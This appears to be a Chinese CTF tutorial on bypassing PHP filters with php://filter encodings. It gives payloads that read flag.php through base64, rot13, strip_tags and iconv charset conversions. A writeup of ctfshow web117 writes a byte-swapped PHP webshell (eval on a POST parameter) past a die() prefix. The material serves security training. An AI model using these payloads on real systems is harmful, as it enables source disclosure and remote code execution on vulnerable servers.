当前位置: 首页 > news >正文

CTF题型 php://filter特殊编码绕过小汇总

CTF题型 php://filter特殊编码绕过小汇总

文章目录

  • CTF题型 php://filter特殊编码绕过小汇总
  • 特殊编码
    • base64编码
    • string过滤器
    • iconv字符集
  • 例题
    • 1.[Newstarctf 2023 week2 include]
    • 2.[Ctfshow web 117]

php://filter 是一个伪协议,它允许你读取经过过滤器处理的数据流。过滤器可以执行各种转换,如 base64 编码/解码、字符串压缩/解压缩等

它的存在是数据流和控制流的“中间人”,有点类似我们抓包工具Burp的感觉,我们可以人为进行操控更改数据流
应用范围/特征关键词
在这里插入图片描述
比如readfile(),file(),file_get_content(),include()

特殊编码

  1. base家族

  2. string过滤器

  3. iconv字符集

base64编码

注意php://filter只支持base64

image-20240328220037091

php://filter/convert.base64-encode/resource=flag.php

string过滤器

比较常用的就是rot13

php://filter/string.rot13/resource=flag.php
读取后进行解码
在线工具:https://www.useotools.com/zh/rot13

string.strip_tags从字符串中去除 HTML 和 PHP 标记,php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

php://filter/string.strip_tags/resource=flag.php

还有大小写的转换,但是基本没什么用

iconv字符集

convert.iconv..

image-20240328201706030

如何理解结构

convert.iconv..

  • input-encoding

    用于解释 string 的当前编码。 数据流 可以识别的字符集

  • to_encoding

    所需的结果编码。 (进行转换的字符集)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

UCS是什么:通用多八位编码字符集

常用的编码绕过

对于小众编码的解码在线网站 https://www.novel.tools/decode/

将flag.php内容解释为UTF-8后转化为UTF-7进行输出

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF-7后转化为UCS-2进行输出

php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php

依次类推,编码方法有很多

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

例题

1.[Newstarctf 2023 week2 include]

https://buuoj.cn/match/matches/190/challenges

过滤了base,rot可以用iconv字符集绕过

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

可以直接输出flag

image-20240328143436756

正常一点我们可以用

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF -8编码识别后转化为UTF-7进行输出

image-20240328201806819

对于小众编码的解码在线网站 https://www.novel.tools/decode/

image-20240328201909257

一样可以得到内容

image-20240328202103745

2.[Ctfshow web 117]

<?php/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

非常典型的绕过死亡exit

这里禁止了base64,rot13,string

这里file_put_contents(文件名,部分文件内容可控)显然要我们写马进去

但是不能让<?php die();?>生效,但是要保证php内容可以被解析

iconv编码绕过

实现原理分析:

比如官方的解法:php://filter/write=convert.iconv.ucs-2be.ucs-2le/resource=shell.php

现在我们要写入的数据流是<?php die();?>?<hp pvela$(P_SO[T]1;)>?

但是在真正写入之前php://filter控制了数据流

将数据流数据读取为ucs-2be然后转换ucs-2le后输出写入文件

image-20240328215039452

这样就实现了绕过死亡exit,并且实现了写马

具体做题步骤:

image-20240328213702317

可以实现写入马子

http://www.lryc.cn/news/329439.html

相关文章:

  • 【嵌入式智能产品开发实战】(十二)—— 政安晨:通过ARM-Linux掌握基本技能【C语言程序的安装运行】
  • 网络编程的学习1
  • spark log4j日志文件动态参数读取
  • 设计模式,装修模式,Php代码演示,优缺点,注意事项
  • ubuntu下vscode ctrl+tab松开ctrl后不自动选中文件
  • 【云开发笔记No.19】关于中台架构(1)
  • 对于提高Web安全,WAF能有什么作用
  • Go 源码之 gin 框架
  • BM19 寻找峰值(二分查找)
  • 4.数组和切片【go】
  • Abaqus周期性边界代表体单元Random Sphere RVE 3D (Mesh)插件
  • 家庭记账本(源码+文档)
  • 深度学习评价指标(1):目标检测的评价指标
  • jmeter性能压测的标准和实战中会遇到的问题
  • 6-82 求链式线性表的倒数第K项
  • CDH集群hive初始化元数据库失败
  • 【ESP32S3 Sense接入语音识别+MiniMax模型对话】
  • 【Java初阶(七)】接口
  • Mac OS上使用matplotlib库显示中文字体
  • IP种子是什么?理解和应用
  • 车载以太网AVB交换机 gptp透明时钟 5口 全千兆 SW1500
  • Can‘t connect to server on ‘localhost‘ (10061)
  • 虹科Pico汽车示波器 | 免拆诊断案例 | 2018款东风风神AX7车发动机怠速抖动、加速无力
  • zookeeper如何管理客户端与服务端之间的链接?(zookeeper sessions)
  • 【Java多线程】7——阻塞队列线程池
  • 同步复位和异步复位的优缺点
  • Code Review(代码审查)
  • 《拆解一切问题》如何成为解决难题的高手 - 三余书屋 3ysw.net
  • matlab——基于三维激光扫描点云的树冠体积计算方法
  • 如何在jupyter使用新建的虚拟环境以及改变jupyter启动文件路径。